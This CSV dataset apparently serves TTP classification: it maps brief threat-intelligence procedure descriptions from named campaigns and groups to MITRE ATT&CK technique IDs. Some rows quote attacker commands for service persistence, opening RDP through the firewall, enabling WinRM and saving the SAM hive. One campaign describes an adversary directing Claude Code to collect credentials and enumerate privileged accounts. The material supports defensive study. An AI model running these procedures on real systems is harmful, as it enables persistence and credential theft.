name,TTP
APT41 DUST involved execution of `certutil.exe` via web shell to download the DUSTPAN dropper.,T1105
APT41 DUST used Windows Services with names such as `Windows Defend` for persistence of DUSTPAN.,T1543.003
APT41 DUST used `rar` to compress data downloaded from internal Oracle databases prior to exfiltration.,T1560.001
APT41 DUST used encrypted payloads decrypted and executed in memory.,T1027.013
APT41 DUST used stolen code signing certificates for DUSTTRAP malware and subsequent payloads.,T1553.002
ArcaneDoor included modification of the AAA process to bypass authentication mechanisms.,T1556
"ArcaneDoor included the use of dedicated, adversary-controlled virtual private servers for command and control.",T1583.003
ArcaneDoor involved the use of Base64 obfuscated scripts and commands.,T1140
"ArcaneDoor utilized HTTP command and control traffic where commands are intercepted from HTTP traffic to the device, parsed for appropriate identifiers and commands, and then executed.",T1102.003
"During APT28 Nearest Neighbor Campaign, APT28 used RDP for lateral movement.",T1021.001
"During APT28 Nearest Neighbor Campaign, APT28 used the built-in netsh portproxy command to create internal proxies on compromised systems.",T1090.001
"During C0017, APT41 collected information related to compromised machines as well as Personal Identifiable Information (PII) from victim networks.",T1005
"During C0017, APT41 used the Cloudflare services for C2 communications.",T1102
"During C0018, the threat actors collected `whoami` information via PowerShell scripts.",T1033
"During C0018, the threat actors used AvosLocker ransomware to encrypt files on the compromised network.",T1486
"During C0021, the threat actors lured users into clicking a malicious link which led to the download of a ZIP archive containing a malicious .LNK file.",T1204.001
"During C0021, the threat actors used encoded PowerShell commands.",T1027.010
"During C0021, the threat actors used obfuscated PowerShell to extract an encoded payload from within an .LNK file.",T1059.001
"During C0026, the threat actors collected documents from compromised hosts.",T1005
"During C0027, Scattered Spider exploited CVE-2021-35464 in the ForgeRock Open Access Management (OpenAM) application server to gain initial access.",T1190
"During C0027, Scattered Spider impersonated legitimate IT personnel in phone calls to direct victims to download a remote monitoring and management (RMM) tool that would allow the adversary to remotely control their system.",T1566.004
"During C0027, Scattered Spider performed domain replication.",T1003.006
"During Cutting Edge, threat actors leveraged exploits to download remote files to Ivanti Connect Secure VPNs.",T1105
"During Cutting Edge, threat actors used Task Manager to dump LSASS memory from Windows devices to disk.",T1003.001
"During Cutting Edge, threat actors used multiple web shells to maintain presence on compromised Connect Secure appliances such as WIREFIRE, GLASSTOKEN, BUSHWALK, LIGHTWIRE, and FRAMESTING.",T1505.003
"During HomeLand Justice, threat actors used ROADSWEEP ransomware to encrypt files on targeted systems.",T1486
"During HomeLand Justice, threat actors used custom tooling to acquire tokens using `ImpersonateLoggedOnUser/SetThreadToken`.",T1134.001
"During HomeLand Justice, threat actors used tools with legitimate code signing certificates.",T1588.003
"During Indian Critical Infrastructure Intrusions, RedEcho network activity included SSL traffic over TCP 443 and HTTP traffic over non-standard ports.",T1071.001
"During Juicy Mix, OilRig used a script to send the name of the compromised host via HTTP `POST` to register it with C2.",T1082
"During Juicy Mix, OilRig used browser data and credential stealer tools to stage stolen files named Cupdate, Eupdate, and IUpdate in the %TEMP% directory.",T1074.001
"During Operation AkaiRyū, MirrorFace abused the remote tunnels of Visual Studio Code (VS Code) to deliver malware.",T1219.001
"During Operation AkaiRyū, MirrorFace deleted delivered tools and files from compromised hosts.",T1070.004
"During Operation CuckooBees, the threat actors enabled WinRM over HTTP/HTTPS as a backup persistence mechanism using the following command: `cscript //nologo ""C:\Windows\System32\winrm.vbs"" set winrm/config/service@{EnableCompatibilityHttpsListener=""true""}`.",T1133
"During Operation Digital Eye, threat actors used SSH access enabled by authorized_keys files for remote execution.",T1098.004
"During Operation Digital Eye, threat actors used `reg save` to retrieve credentials from the Security Account Manager (SAM) database.",T1003.002
"During Operation Digital Eye, threat actors used native API such as `GetUserInfo`.",T1106
"During Operation Digital Eye, threat actors used the local.exe tool to view group memberships.",T1069.001
"During Operation Dream Job, Lazarus Group exfiltrated data from a compromised host to actor-controlled C2 servers.",T1041
"During Operation Dream Job, Lazarus Group launched malicious DLL files, created new folders, and renamed folders with the use of the Windows command shell.",T1059.003
"During Operation Dream Job, Lazarus Group lured users into executing a malicious link to disclose private account information or provide initial access.",T1204.001
"During Operation Dream Job, Lazarus Group used Windows API `ObtainUserAgentString` to obtain the victim's User-Agent and used the value to connect to their C2 server.",T1106
"During Operation Dream Job, Lazarus Group used an AES key to communicate with their C2 server.",T1573.001
"During Operation Dream Job, Lazarus Group used file hosting services like DropBox and OneDrive.",T1583.006
"During Operation Ghost, APT29 used steganography to hide the communications between the implants and their C&C servers.",T1001.002
"During Operation MidnightEclipse, threat actors obtained active directory credentials via the NTDS.DIT file.",T1003.003
"During Operation MidnightEclipse, threat actors used SMB to pivot internally in victim networks.",T1021.002
"During Operation MidnightEclipse, threat actors used `wget` via HTTP to retrieve payloads.",T1071.001
"During Outer Space, OilRig deployed VBS droppers with obfuscated strings.",T1027.013
"During RedPenguin, UNC3886 generated Base64-encoded files in the FreeBSD shell environment of targeted Juniper devices.",T1027.013
"During RedPenguin, UNC3886 used backdoor malware capable of downloading files to compromised infrastructure.",T1105
"During RedPenguin, UNC3886 used malware capable of establishing a SOCKS proxy connection to a specified IP and port.",T1090
"During RedPenguin, UNC3886 used malware implants to deobfuscate incoming C2 messages and encoded archives.",T1140
"During Salesforce Data Exfiltration, threat actors initially relied on the legitimate Salesforce Data Loader app for data exfiltration.",T1588.002
"During Salesforce Data Exfiltration, threat actors initiated voice calls with victims to socially engineer them into authorizing malicious applications or divulging sensitive credentials.",T1598.004
"During Salesforce Data Exfiltration, threat actors used compromised emails to create Salesforce trial accounts.",T1586.002
"During SharePoint ToolShell Exploitation, threat actors accessed web.config and machine.config to extract MachineKey values, enabling them to forge legitimate VIEWSTATE tokens for future deserialization payloads.",T1552.001
"During SharePoint ToolShell Exploitation, threat actors scanned for SharePoint servers vulnerable to CVE-2025-53770.",T1595.002
"During SharePoint ToolShell Exploitation, threat actors used Fast Reverse Proxy to communicate with C2.",T1090
"During the 2015 Ukraine Electric Power Attack, Sandworm Team modified in-registry Internet settings to lower internet security before launching `rundll32.exe`, which in-turn launches the malware and communicates with C2 servers over the Internet. .",T1112
"During the 2015 Ukraine Electric Power Attack, Sandworm Team pushed additional malicious tools onto an infected system to steal user credentials, move laterally, and destroy data.",T1105
"During the 2015 Ukraine Electric Power Attack, Sandworm Team used BlackEnergy to communicate between compromised hosts and their command-and-control servers via HTTP post requests.",T1071.001
"During the 2016 Ukraine Electric Power Attack, Sandworm Team checked for connectivity to resources within the network and used LDAP to query Active Directory, discovering information about computers listed in AD.",T1018
"During the 2016 Ukraine Electric Power Attack, Sandworm Team used UPX to pack a copy of Mimikatz.",T1027.002
"During the 2016 Ukraine Electric Power Attack, Sandworm Team used an arbitrary system service to load at system boot for persistence for Industroyer. They also replaced the ImagePath registry value of a Windows service with a new backdoor binary.",T1543.003
"During the 2016 Ukraine Electric Power Attack, Sandworm Team utilized `net use` to connect to network shares.",T1021.002
"During the 2016 Ukraine Electric Power Attack, WMI in scripts were used for remote execution and system surveys.",T1047
"During the 2022 Ukraine Electric Power Attack, Sandworm Team leveraged Scheduled Tasks through a Group Policy Object (GPO) to execute CaddyWiper at a predetermined time.",T1053.005
"During the 2025 Poland Wiper Attacks, the adversaries attempted to reuse password hash values to gain access to other systems.",T1550.002
"During the 2025 Poland Wiper Attacks, the adversaries compressed stolen files into a zip file prior to exfiltration.",T1560.001
"During the 2025 Poland Wiper Attacks, the adversaries configured the FortiGate devices to send notifications to an attacker-controlled Slack channel. During the 2025 Poland Wiper Attacks, the adversaries had also staged tools and files on services such as Dropbox and Pastebin.",T1583.006
"During the 2025 Poland Wiper Attacks, the adversaries exfiltrated data to an actor-controlled infrastructure using HTTP POSTs.",T1048.003
"During the 2025 Poland Wiper Attacks, the adversaries gathered network configuration details utilizing `arp -a` and `nslookup` commands.",T1016
"During the 2025 Poland Wiper Attacks, the adversaries generated custom script with an LLM.",T1588.007
"During the 2025 Poland Wiper Attacks, the adversaries leveraged stolen credentials within cloud services to gather data and email messages from Exchange services related to OT topics and technical work carried out within organizations.",T1114.002
"During the 2025 Poland Wiper Attacks, the adversaries leveraged the native CLI of the targeted FortiGate device.",T1059.008
"During the 3CX Supply Chain Attack, AppleJeus leveraged a GitHub repository to host icon files containing the command and control URL.",T1102.001
"During the 3CX Supply Chain Attack, AppleJeus payloads use AES-256 GCM cipher to encrypt data to include ICONICSTEALER and VEILEDSIGNAL.",T1027
"During the 3CX Supply Chain Attack, AppleJeus's VEILEDSIGNAL uses process injection to inject the C2 communication module code in the first found process instance of Chrome, Firefox, or Edge web browsers. It also monitors the established named pipe and re-injects the C2 communication module if necessary.",T1055
"During the Anthropic AI-orchestrated Campaign, the adversary operated dedicated penetration testing servers accessible via MCP to support remote command execution, simultaneous tool coordination, and persistent operational state maintenance across campaign sessions.",T1584.004
"During the Anthropic AI-orchestrated Campaign, the adversary tasked Claude Code to automatically gather sensitive data stored within the local system to include credentials, system configurations and sensitive operational data.",T1005
"During the Anthropic AI-orchestrated Campaign, the adversary used Claude Code to query internal database user account tables to enumerate accounts and identify high-privilege accounts within compromised environments.",T1087
"During the C0032 campaign, TEMP.Veles relied on encrypted SSH-based tunnels to transfer tools and for remote command/program execution.",T1021.004
"During the C0032 campaign, TEMP.Veles renamed files to look like legitimate files, such as Windows update files or Schneider Electric application files.",T1036.005
"During the C0032 campaign, TEMP.Veles routinely deleted tools, logs, and other files after they were finished with them.",T1070.004
"During the C0032 campaign, TEMP.Veles used compromised VPN accounts.",T1078
"During the C0032 campaign, TEMP.Veles used timestomping to modify the $STANDARD_INFORMATION attribute on tools.",T1070.006
"During the SolarWinds Compromise, APT29 accessed victims' internal knowledge repositories (wikis) to view sensitive corporate information on products, services, and internal business operations.",T1213
"During the SolarWinds Compromise, APT29 obtained Ticket Granting Service (TGS) tickets for Active Directory Service Principle Names to crack offline.",T1558.003
"During the SolarWinds Compromise, APT29 obtained information about the configured Exchange virtual directory using `Get-WebServicesVirtualDirectory`.",T1083
"During the SolarWinds Compromise, APT29 used 7-Zip to decode their Raindrop malware.",T1140
"During the SolarWinds Compromise, APT29 used administrative accounts to connect over SMB to targeted users.",T1021.002
"During the SolarWinds Compromise, APT29 used different compromised credentials for remote access and to move laterally.",T1078
"For C0018, the threat actors acquired a variety of open source tools, including Mimikatz, Sliver, SoftPerfect Network Scanner, AnyDesk, and PDQ Deploy.",T1588.002
"For Operation Dream Job, Lazarus Group compromised domains in Italy and other countries for their C2 infrastructure.",T1584.001
"In the Triton Safety Instrumented System Attack, TEMP.Veles installed scheduled tasks defined in XML files.",T1053.005
"In the Triton Safety Instrumented System Attack, TEMP.Veles modified files based on the open-source project cryptcat in an apparent attempt to decrease anti-virus detection rates.",T1027.005
"KV Botnet Activity command and control traffic uses a non-standard, likely custom protocol for communication.",T1095
"KV Botnet Activity generates a random port number greater than 30,000 to serve as the listener for subsequent command and control activity.",T1571
"KV Botnet Activity utilizes multiple Bash scripts during botnet installation stages, and the final botnet payload allows for running commands in the Bash shell.",T1059.004
Leviathan captured submitted multfactor authentication codes and other technical artifacts related to remote access sessions during Leviathan Australian Intrusions.,T1056
Leviathan performed Active Directory enumeration of victim environments during Leviathan Australian Intrusions.,T1482
Leviathan used Kerberoasting techniques during Leviathan Australian Intrusions.,T1558.003
Leviathan used SSH brute force techniques to move laterally within victim environments during Leviathan Australian Intrusions.,T1021.004
"Leviathan used captured local account information, such as service accounts, for actions during Leviathan Australian Intrusions.",T1078.003
Mustang Panda acquired Cloudflare Origin CA TLS certificates during RedDelta Modified PlugX Infection Chain Operations.,T1588.004
Mustang Panda registered adversary-controlled domains during RedDelta Modified PlugX Infection Chain Operations that were re-registrations of expired domains.,T1583.001
Pikabot Distribution February 2024 passed execution from obfuscated JavaScript files to PowerShell scripts to download and install Pikabot.,T1059.001
Quad7 Activity has disabled the TP-Link management interface for TP-Link by killing the /usr/bin/httpd process.,T1685
Quad7 Activity has enabled the exploitation of vulnerabilities for remote code execution capabilities in SOHO routers including CVE-2023-50224 and CVE-2025-9377 in TP-Link devices.,T1190
SPACEHOP Activity leverages a C2 framework sourced from a publicly-available Github repository for administration of relay nodes.,T1588.002
Versa Director Zero Day Exploitation used HTTPS for command and control of compromised Versa Director servers.,T1573.002
"Water Curupira Pikabot Distribution delivered Pikabot installers as password-protected ZIP files containing heavily obfuscated JavaScript, or IMG files containing an LNK mimicking a Word document and a malicious DLL.",T1204.002
Water Curupira Pikabot Distribution installation via JavaScript will launch follow-on commands via cmd.exe.,T1059.003
Water Curupira Pikabot Distribution requires users to interact with malicious attachments in order to start Pikabot installation.,T1204
A Destover-like variant used by Lazarus Group collects disk space information and sends it to its C2 server.,T1680
APT-C-36 has acquired domains to host malicious payloads.,T1583.001
"APT-C-36 has impersonated banks including Banco Davivienda, Bancolombia, and BBVA as well as government institutions such as Colombia's National Directorate of Taxes and Customs, Ministry of Foreign Affairs, and Office of the Attorney General.",T1684.001
APT-C-36 has staged malware implants on group-owned repositories and sites.,T1608.001
"APT-C-36 has used ConfuserEx to obfuscate its variant of Imminent Monitor, compressed payloads and RAT packages, and password protected encrypted email attachments to avoid detection. APT-C-36 has also compressed initial droppers into ZIP, LHA and UUE formats.",T1027
APT-C-36 has used a botnet management interface to control large numbers of compromised hosts.,T1584.005
APT-C-36 has used a fileless attack chain composed of three JavaScript code snippets to execute subsequent payloads.,T1059.007
"APT-C-36 has used malicious links in emails, often impersonating official notifications and documents, to direct users to execute malicious payloads.",T1204.001
APT-C-36 has used side-loading to execute the HijackLoader payload.,T1574.001
APT19 launched an HTTP malware variant and a Port 22 malware variant using a legitimate executable that loaded the malicious DLL.,T1574.001
APT28 has used a Powershell cmdlet to grant the ApplicationImpersonation role to a compromised account.,T1098.002
APT29 has ensured web servers in a victim environment are Internet accessible before copying tools or malware to it.,T1016.001
APT29 has installed a run command on a compromised system to enable malware execution on system startup.,T1037.004
"APT29 has leveraged compromised high-privileged on-premises accounts synced to Office 365 to move laterally into a cloud environment, including through the use of Azure AD PowerShell.",T1021.007
APT29 has leveraged the Microsoft Graph API to perform various actions across Azure and M365 environments. They have also utilized AADInternals PowerShell Modules to access the API,T1059.009
APT29 has successfully conducted password guessing attacks against a list of mailboxes.,T1110.001
"APT29 has used residential proxies, including Azure Virtual Machines, to obfuscate their access to victim environments.",T1586.003
"APT29 targets dormant or inactive user accounts, accounts belonging to individuals no longer at the organization but whose accounts remain on the system, for access and persistence.",T1078.003
APT37's has added persistence via the Registry key HKCU\Software\Microsoft\CurrentVersion\Run\.,T1547.001
APT38 has prepended a space to all of their terminal commands to operate without leaving traces in the HISTCONTROL environment.,T1690
APT38 has used the legitimate application `ieinstal.exe` to bypass UAC.,T1548.002
APT39 has utilized custom scripts to perform internal reconnaissance.,T1059
APT41 has created user accounts.,T1136.001
APT41 used `NATBypass` to bypass firewall restrictions and to access compromised systems via RDP.,T1599
APT41 used a hidden shell script in `/etc/rc.d/init.d` to leverage the `ADORE.XSEC`backdoor and `Adore-NG` rootkit.,T1037
APT41 used certutil to download additional files. APT41 downloaded post-exploitation tools such as Cobalt Strike via command shell following initial access. APT41 has uploaded Procdump and NATBypass to a staging directory and has used these tools in follow-on activities.,T1105
APT41 uses remote shares to move and remotely execute payloads during lateral movemement.,T1570
"APT41 uses the Chinese website fofa.su, similar to the Shodan scanning service, for passive scanning of victims.",T1596.005
APT42 has impersonated legitimate people in phishing emails to gain credentials.,T1684.001
APT42 has modified Registry keys to maintain persistence.,T1112
APT42 has used Windows Management Instrumentation (WMI) to query anti-virus products.,T1047
APT42 has used anonymized infrastructure and Virtual Private Servers (VPSs) to interact with the victim's environment.,T1583.003
APT42 has used built-in features in the Microsoft 365 environment and publicly available tools to avoid detection.,T1588.002
APT42 has used credential harvesting websites.,T1056
"APT42 has used malware, such as GHAMBAR and POWERPOST, to collect network information.",T1016
APT5 has cleared the command history on targeted ESXi servers.,T1070.003
APT5 has modified legitimate binaries and scripts for Pulse Secure VPNs including the legitimate DSUpgrade.pm file to install the ATRIUM webshell for persistence.,T1554
APT5 has used cmd.exe for execution on compromised systems.,T1059.003
APT5 has used malware with keylogging capabilities to monitor the communications of targeted entities.,T1056.001
APT5 has used the CLEANPULSE utility to insert command line strings into a targeted process to prevent certain log events from occurring.,T1685
APT5 has used the JAR/ZIP file format for exfiltrated files.,T1560.001
Agrius used tools such as Mimikatz to dump LSASS memory to capture credentials in victim environments.,T1003.001
Agrius uses ASPXSpy web shells to enable follow-on command execution via cmd.exe.,T1059.003
Akira has accessed and downloaded information stored in SharePoint instances as part of data gathering and exfiltration activity.,T1213.002
Akira has used binary padding to obfuscate payloads.,T1027.001
AppleJeus has targeted the cryptocurrency industry with the goal of stealing digital assets.,T1657
Aquatic Panda clears Windows Event Logs following activity to evade defenses.,T1685.005
Aquatic Panda renamed or moved malicious binaries to legitimate locations to evade defenses and blend into victim environments.,T1036.005
Aquatic Panda used SSH with captured user credentials to move laterally in victim environments.,T1021.004
Aquatic Panda used multiple mechanisms to capture valid user accounts for victim domains to enable lateral movement and access to additional hosts in victim environments.,T1078.002
Aquatic Panda used remote scheduled tasks to install malicious software on victim systems during lateral movement actions.,T1021
BRONZE BUTLER has used net user /domain to identify account information.,T1087.002
BRONZE BUTLER has used legitimate applications to side-load malicious DLLs.,T1574.001
BlackByte constructed a valid authentication token following Microsoft Exchange exploitation to allow for follow-on privileged command execution.,T1134.003
BlackByte created scheduled tasks for payload execution.,T1053.005
BlackByte enumerated network shares on victim devices.,T1135
BlackByte has gained access to victim environments through legitimate VPN credentials.,T1078
BlackByte has injected Cobalt Strike into `wuauclt.exe` during intrusions. BlackByte has injected ransomware into `svchost.exe` before encryption.,T1055
BlackByte resized and deleted volume shadow copy files to prevent system recovery after encryption.,T1490
BlackByte used various system commands and tools to pull system information during operations.,T1082
CURIUM deployed mechanisms to check system time information following strategic website compromise attacks.,T1124
CURIUM has compromised legitimate websites to enable strategic website compromise attacks.,T1584.006
"CURIUM has established a network of fictitious social media accounts, including on Facebook and LinkedIn, to establish relationships with victims, often posing as an attractive woman.",T1585.001
"Carbanak has named malware ""svchost.exe,"" which is the name of the Windows shared service host program.",T1036.005
"Chimera has used ipconfig, Ping, and tracert to enumerate the IP address and network environment and settings of the local host.",T1016
Cobalt Group has added persistence by registering the file name for the next stage malware under HKCU\Environment\UserInitMprLogonScript.,T1037.001
Contagious Interview has distributed malicious files requiring direct victim interaction to execute through the guise of a code test.,T1204.002
Contagious Interview has established persistence using InvisibleFerret malware to create file to run the script on Startup via LaunchAgents. Contagious Interview has also utilized a plist file located in `/Library/LaunchAgents` to enable a malicious bash script the ability to persist.,T1543.001
Contagious Interview has leveraged ClickFix type tactics enticing victims to copy and paste malicious code.,T1204.004
Contagious Interview has used AI to clone video-conferencing applications to distribute their BeaverTail malware. They have also used AI to create deepfake videos.,T1683.002
Contagious Interview has used the Python-based malware such as InvisibleFerret to install and execute Python Packages and Python modules.,T1059.006
Contagious Interview has utilized Visual Basic scripts in the execution of their downloader malware targeting Windows devices including as script called update.vbs.,T1059.005
Contagious Interview has utilized email notifications from malware distribution servers to track victim engagement.,T1071.003
Daggerfly created a local account on victim machines to maintain access.,T1136.001
Daggerfly created code signing certificates to sign malicious macOS files.,T1587.002
Daggerfly is associated with several supply chain compromises using malicious updates to compromise victims.,T1195.002
"Darkhotel malware has used a series of checks to determine if it's being analyzed; checks include the length of executable names, if a filename ends with .Md5.exe, and if the program is executed from the root of the C:\ drive, as well as checks for sandbox-related libraries.",T1497.001
"Earth Lusca created a service using the command sc create ""SysUpdate"" binpath= ""cmd /c start ""file path""""&&sc config ""SysUpdate"" start= auto&&net start SysUpdate for persistence.",T1543.003
"Earth Lusca used the command `move file path c:\windows\system32\spool\prtprocs\x64\spool.dll` to move and register a malicious DLL name as a Windows print processor, which eventually was loaded by the Print Spooler service.",T1036.005
Ember Bear has configured multi-hop proxies via ProxyChains within victim environments.,T1090.003
Ember Bear has renamed the legitimate Sysinternals tool procdump to alternative names such as dump64.exe to evade detection.,T1036
Ember Bear has targeted IP ranges for vulnerability scanning related to government and critical infrastructure organizations.,T1595.001
Ember Bear modifies registry values for anti-forensics and defense evasion purposes.,T1112
"FIN13 has collected local host information by utilizing Windows commands `systeminfo`, `fsutil`, and `fsinfo`. FIN13 has also utilized a compromised Symantex Altiris console and LanDesk account to retrieve host information.",T1082
FIN13 has used VBS scripts for code execution on comrpomised machines.,T1059.005
FIN13 has used `netstat` and other net commands for network reconnaissance efforts.,T1049
FIN13 has used the Windows `dir` command to enumerate files and directories in a victim's network.,T1083
FIN13 has utilized `nmap` for reconnaissance efforts. FIN13 has also scanned for internal MS-SQL servers in a compromised network.,T1046
FIN13 has utilized custom malware to maintain persistence in a compromised environment.,T1587.001
FIN7 has loaded a .NET assembly into the currect execution context via `Reflection.Assembly::Load`.,T1620
FIN7 has tunneled C2 traffic via OpenSSH.,T1572
"FIN7 has used the PowerShell script 3CF9.ps1 and the executable WsTaskLoad to enumerate domain administrations by executing `net group ""Domain Admins"" /domain`. FIN7 has also used csvde.exe, which is a built-in Windows command line tool, to export Active Directory information.",T1087.002
"FIN7 lured victims to double-click on images in the attachments they sent which would then execute the hidden LNK file. Additionally, FIN7 has used malicious Microsoft Word and Excel files and Leo VBS to distribute an updated version of JSS Loader and to distribute the Harpy backdoor.",T1204.002
"FIN8's malicious spearphishing payloads use WMI to launch malware and spawn `cmd.exe` execution. FIN8 has also used WMIC and the Impacket suite for lateral movement, as well as during and post compromise cleanup activities.",T1047
Fox Kitten has used protocol tunneling for communication and RDP activity on compromised hosts through the use of open source tools such as ngrok and custom tool SSHMinion.,T1572
"GOLD SOUTHFIELD has used the cloud-based remote management and monitoring tool ""ConnectWise Control"" to deploy REvil.",T1219
Gamaredon Group has attempted to get users to click on Office attachments with malicious macros embedded. Gamaredon Group has also attempted to get users to click on thematically named files.,T1204.002
Gamaredon Group has removed security settings for VBA macro execution by changing registry values HKCU\Software\Microsoft\Office\<version>\<product>\Security\VBAWarnings and HKCU\Software\Microsoft\Office\<version>\<product>\Security\AccessVBOM. Gamaredon Group has also modified Registry keys to hide folders and system files and to add the C2 address under `HKEY_CURRENT_USER\Console\WindowsUpdate`.,T1112
"Gamaredon Group has used various legitimate tools, such as `mshta.exe` and Reg, and services during operations.",T1588.002
Gamaredon Group malware has used CreateProcess to launch additional malicious components.,T1106
HAFNIUM has exfitrated data from OneDrive.,T1530
HAFNIUM has used rundll32 to load malicious DLLs.,T1218.011
HEXANE has used WMI event subscriptions for persistence.,T1546.003
INC Ransom has uninstalled tools from compromised endpoints after use.,T1070.004
INC Ransom has used INC Ransomware to encrypt victim's data.,T1486
INC Ransom has used NETSCAN.EXE for internal reconnaissance.,T1046
"In addition to directing victims to run remote software, Scattered Spider members themselves also deploy RMM software including TeamViewer, AnyDesk, LogMeIn, ngrok, and ConnectWise to establish persistence on the compromised network.",T1219.002
"Indrik Spider has created email accounts to communicate with their ransomware victims, to include providing payment and decryption details.",T1585.002
"Indrik Spider has developed malware for their operations, including ransomware such as BitPaymer and WastedLocker.",T1587.001
"Indrik Spider has downloaded tools, such as the Advanced Port Scanner utility and Lansweeper, to conduct internal reconnaissance of the victim network. Indrik Spider has also accessed the victim's VMware VCenter, which had information about host configuration, clusters, etc.",T1590
"Indrik Spider used PsExec to leverage Windows Defender to disable scanning of all downloaded files and to restrict real-time monitoring. Indrik Spider has used `MpCmdRun` to revert the definitions in Microsoft Defender. Additionally, Indrik Spider has used WMI to stop or uninstall and reset anti-virus products and other defensive services.",T1685
Ke3chang has utilized an ORB (operational relay box) network for reconnaissance and vulnerability exploitation.,T1583.005
Kimsuky has gathered the system time of the device using the PowerShell cmdlet `Get-Date`.,T1124
Kimsuky has hosted content used for targeting efforts via web services such as Blogspot. Kimsuky has also leveraged Dropbox for hosting payloads and uploading victim system information.,T1583.006
Kimsuky has leveraged stolen PII to create accounts.,T1585
Kimsuky has staged collected data files under C:\Program Files\Common Files\System\Ole DB\. Kimsuky has also gathered data in structured directories prior to exfiltration under the %TEMP% environment variable.,T1074.001
"Kimsuky has the ability to enumerate all files and directories on an infected system. Kimsuky has used a custom script with a function called CreateFileList() that can scan all filesystem drives, prioritizing C:\Users, to locate files and file extensions of interest that ultimately generates a file called `FileList.txt` saved within the victims %TEMP% Directory that contains the findings and the respective pathways.",T1083
Kimsuky has used an information gathering module that will hide an AV software window from the victim. Kimsuky has also been known to use `-WindowStyle Hidden` to conceal PowerShell windows.,T1564.003
Kimsuky has used tailored spearphishing emails to gather victim information including contat lists to identify additional targets.,T1598
Lazarus Group has distributed malicious payloads embedded in PNG files.,T1027.009
"Lazarus Group has obtained a variety of tools for their operations, including Responder and PuTTy PSCP.",T1588.002
Lazarus Group has used schtasks for persistence including through the periodic execution of a remote XSL script or a dropped VBS payload.,T1053.005
"Lazarus Group has used the Windows API ObtainUserAgentString to obtain the User-Agent from a compromised host to connect to a C2 server. Lazarus Group has also used various, often lesser known, functions to perform various types of Discovery and Process Injection.",T1106
"Lazarus Group malware IndiaIndia checks Registry keys within HKCU and HKLM to determine if certain applications are present, including SecureCRT, Terminal Services, RealVNC, TightVNC, UltraVNC, Radmin, mRemote, TeamViewer, FileZilla, pcAnyware, and Remote Desktop. Another Lazarus Group malware sample checks for the presence of the following Registry key:HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt.",T1012
Leviathan has rapidly transformed and adapted public exploit proof-of-concept code for new vulnerabilities and utilized them against target networks.,T1587.004
Lotus Blossom has locally staged compressed and archived data for follow-on exfiltration.,T1074.001
Lotus Blossom has used Ping to identify remote systems.,T1018
Lotus Blossom has used WinRAR for compressing data in RAR format.,T1560.001
Lotus Blossom has used commands such as `net` to profile local system users.,T1087.001
LuminousMoth has downloaded additional malware and tools onto a compromised host.,T1105
LuminousMoth has used a malicious DLL to collect the username from compromised hosts.,T1033
LuminousMoth has used malicious DLLs that setup persistence in the Registry Key `HKCU\Software\Microsoft\Windows\Current Version\Run`.,T1547.001
"Magic Hound has added the following rule to a victim's Windows firewall to allow RDP traffic - `""netsh"" advfirewall firewall add rule name=""Terminal Server"" dir=in action=allow protocol=TCP localport=3389`.",T1686.003
Magic Hound has captured the IP addresses of visitors to their phishing sites.,T1590.005
Magic Hound has collected location information from visitors to their phishing sites.,T1591.001
"Magic Hound has identified high-value email accounts in academia, journalism, NGO's, foreign policy, and national security for targeting.",T1589.002
Magic Hound has named a malicious script CacheTask.bat to mimic a legitimate task.,T1036.004
Magic Hound has used Plink to tunnel RDP over SSH.,T1572
Magic Hound has used an encrypted http proxy in C2 communications.,T1573
Malteiro has sent spearphishing emails containing malicious .zip files.,T1566.001
Medusa Group has detected security solutions for termination or deletion within the victim device using hard-coded lists of strings containing security product executables.,T1518.001
Medusa Group has purchased user credentials and other sensitive data from Initial Access Brokers (IABs).,T1650
Medusa Group has used PDQ Inventory to get an inventory of the endpoints on the network.,T1018
Medusa Group has used RDP to conduct lateral movement and exfiltrate data. Medusa Group has also utilized the Windows executable `mstsc.exe` for RDP activities through the command `mstsc.exe /v:{hostname/ip}`.,T1021.001
Medusa Group has utilized compromised legitimate local and domain accounts within the victim environment to facilitate remote access and lateral movement sometimes in combination with PsExec.,T1078
Metador has used TCP for C2.,T1095
MirrorFace has deleted Windows event logs.,T1685.005
MirrorFace has deleted directories containing malware and archives with files collected from the victim environment.,T1070.004
MirrorFace has disabled Windows Defender in compromised environments.,T1685
MirrorFace has used Windows native tools to enumerate user information.,T1033
"MirrorFace has used `cmd.exe` for malware execution, file discovery, and manual file manipulation.",T1059.003
MirrorFace has used legitimate EXE files to load malicious DLLs via sideloading.,T1574.001
MirrorFace has used native Windows tools to obtain domain user information.,T1087.002
MirrorFace has used remote templates with VBA code in malware infection chains.,T1059.005
Mofang has compressed the ShimRat executable within malicious email attachments.,T1027.015
Moonstone Sleet deployed malware such as YouieLoader capable of capturing victim system browser information.,T1217
Moonstone Sleet retrieved credentials from LSASS memory.,T1003.001
MoustachedBouncer has used plugins to execute PowerShell scripts.,T1059.001
"MuddyWater has attempted to exfiltrate data to Wasabi, a cloud storage service, using Rclone.",T1567.002
"MuddyWater has controlled POWERSTATS from behind a proxy network to obfuscate the C2 location. MuddyWater has used a series of compromised websites that victims connected to randomly to relay information to command and control (C2). MuddyWater has also used go-socks5 variants to bypass firewalls and Network Address Translation (NAT), to communicate with a hardcoded C2 server, and to exfiltrate data.",T1090.002
Mustang Panda has delivered web bugs to profile their intended targets.,T1598.003
Mustang Panda has developed custom malware for use in their operations.,T1587.001
Mustang Panda has downloaded additional executables following the initial infection stage. Mustang Panda has also leveraged Visual Studio Code `code.exe` and Dev Tunnels using `DevTunnel.exe` to propagate additional tools and payloads.,T1105
Mustang Panda has masqueraded malicious executables as legitimate files that download PlugX malware.,T1036.008
Mustang Panda has obtained and leveraged publicly-available tools for intrusion activities.,T1588.002
Mustang Panda has utilized AdFind to identify domain users.,T1087.002
Mustard Tempest has deployed secondary payloads and third stage implants to compromised hosts.,T1105
Mustard Tempest has lured users into downloading malware through malicious links in fake advertisements and spearphishing emails.,T1204.001
Mustard Tempest has sent victims emails containing links to compromised websites.,T1566.002
Mustard Tempest has used implants to perform system reconnaissance on targeted systems.,T1082
Nomadic Octopus used cmd.exe /c within a malicious macro.,T1059.003
OilRig has obtained stolen code signing certificates to digitally sign malware.,T1588.003
"OilRig has set up fake VPN portals, conference sign ups, and job application websites to target victims.",T1583.001
OilRig has used sc query on a victim to gather information about services.,T1007
Patchwork enumerated all available drives on the victim's machine.,T1680
"Patchwork installed its payload in the startup programs folder as ""Baidu Software Update."" The group also adds its second stage payload to the startup programs as ""Net Monitor."" They have also dropped QuasarRAT binaries as files named microsoft_network.exe and crome.exe.",T1036.005
Play has used the information-stealing tool Grixba to enumerate network information.,T1016
